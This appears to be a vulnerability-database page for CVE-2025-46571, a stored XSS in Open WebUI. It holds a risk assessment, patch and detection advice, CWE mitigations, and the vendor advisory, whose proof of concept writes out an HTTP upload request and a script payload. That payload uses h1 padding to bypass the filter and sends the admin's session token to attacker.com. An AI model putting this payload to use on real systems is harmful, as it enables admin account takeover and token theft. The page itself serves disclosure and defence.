A low-privileged user of Open WebUI can upload an HTML file that smuggles a `<script>` tag past the upload filter (padding it with an `<h1>` tag defeats the sanitizer), then trick an admin into opening the file's URL to execute arbitrary JavaScript in the admin's browser session. Blast radius is limited by design — the file endpoint only permits the uploader or an admin to view the content — but that's precisely the weaponizable path: this is a low-friction pivot from any authenticated account to full admin account takeover, and the vendor's own advisory notes it chains into RCE via the Functions feature. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS sits at a low 0.003, so opportunistic mass exploitation is unlikely — this is a targeted, social-engineering-dependent attack rather than an internet-scannable one. Patch to open-webui 0.6.6 immediately, since this package alone carries 113 other tracked CVEs and is a common self-hosted LLM chat front-end; in the interim, restrict who can upload files and train admins never to open file-preview links sent by other users.
What is the risk?
Medium severity is appropriate given the authentication requirement and the narrow default viewership (uploader + admins only), which meaningfully constrains the attack surface versus an unauthenticated stored XSS. However, the realistic impact is severe: because Open WebUI's viewership model funnels malicious content toward admins specifically, and because admin session compromise cascades into the Functions RCE primitive documented in the linked advisory, the practical risk is closer to a privilege-escalation vulnerability than a routine content-injection bug. No active exploitation, KEV listing, or public PoC/scanner exists today, so this is a proactive-patch scenario rather than an emergency incident-response one — but the low EPSS score should not be read as low priority given the admin-takeover chain.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | < 0.6.6 | 0.6.6 |
Do you use Open WebUI? You're affected.
How severe is it?
What should I do?
1 step-
Upgrade to open-webui >= 0.6.6, which fixes the file-content-type sanitization gap referenced in commit ef2aeb7. Until patched, disable or tightly restrict file uploads for non-admin users, and disable or restrict the Functions feature to trusted admins only to blunt the downstream RCE chain. Add server-side Content-Type/Content-Disposition enforcement (force
Content-Disposition: attachmentand a non-executable MIME type on/api/v1/files/*/content/*responses) and a strict CSP on the file-viewing endpoint as defense in depth. Detection: audit admin_jobs/access logs for admin accounts opening/api/v1/files/<id>/content/htmlURLs shortly after receiving messages from low-privileged users, and review recent file uploads with.html/text-html content types for suspicious script content.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-46571?
A low-privileged user of Open WebUI can upload an HTML file that smuggles a `<script>` tag past the upload filter (padding it with an `<h1>` tag defeats the sanitizer), then trick an admin into opening the file's URL to execute arbitrary JavaScript in the admin's browser session. Blast radius is limited by design — the file endpoint only permits the uploader or an admin to view the content — but that's precisely the weaponizable path: this is a low-friction pivot from any authenticated account to full admin account takeover, and the vendor's own advisory notes it chains into RCE via the Functions feature. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS sits at a low 0.003, so opportunistic mass exploitation is unlikely — this is a targeted, social-engineering-dependent attack rather than an internet-scannable one. Patch to open-webui 0.6.6 immediately, since this package alone carries 113 other tracked CVEs and is a common self-hosted LLM chat front-end; in the interim, restrict who can upload files and train admins never to open file-preview links sent by other users.
Is CVE-2025-46571 actively exploited?
No confirmed active exploitation of CVE-2025-46571 has been reported, but organizations should still patch proactively.
How to fix CVE-2025-46571?
Upgrade to open-webui >= 0.6.6, which fixes the file-content-type sanitization gap referenced in commit ef2aeb7. Until patched, disable or tightly restrict file uploads for non-admin users, and disable or restrict the Functions feature to trusted admins only to blunt the downstream RCE chain. Add server-side Content-Type/Content-Disposition enforcement (force `Content-Disposition: attachment` and a non-executable MIME type on `/api/v1/files/*/content/*` responses) and a strict CSP on the file-viewing endpoint as defense in depth. Detection: audit admin_jobs/access logs for admin accounts opening `/api/v1/files/<id>/content/html` URLs shortly after receiving messages from low-privileged users, and review recent file uploads with `.html`/text-html content types for suspicious script content.
What systems are affected by CVE-2025-46571?
This vulnerability affects the following AI/ML architecture patterns: model serving UIs, self-hosted LLM chat interfaces, agent/plugin frameworks (Functions).
What is the CVSS score for CVE-2025-46571?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. ### Details The following HTTP request can be sent to the backend server to upload a file with the contents: `<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>` ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Note the `filename="test.html"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. The backend server responds to the above request with JSON data that contains an `id` parameter.  This ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability. ### PoC First, upload an html containing JavaScript code to the backend server using the following HTTP request: ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Then copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` ### Impact Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766
Exploitation Scenario
A disgruntled or compromised low-privileged Open WebUI user uploads an HTML file containing `<h1>padding</h1><script>fetch('https://attacker.com/?token='+localStorage.getItem('token'))</script>` to bypass the sanitizer that blocks pure-script files. They retrieve the returned file ID and send the resulting `/api/v1/files/<id>/content/html` link to an admin via a chat message, ticket, or email, framed as something worth reviewing. When the admin opens the link, the script executes in the admin's authenticated browser context and exfiltrates their session token to the attacker's server. The attacker then replays that token to authenticate as the admin, and — per the linked GHSA-9f4f-jv96-8766 advisory — leverages the Functions feature to achieve remote code execution on the Open WebUI host.
Weaknesses (CWE)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-87 Improper Neutralization of Alternate XSS Syntax
Primary
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui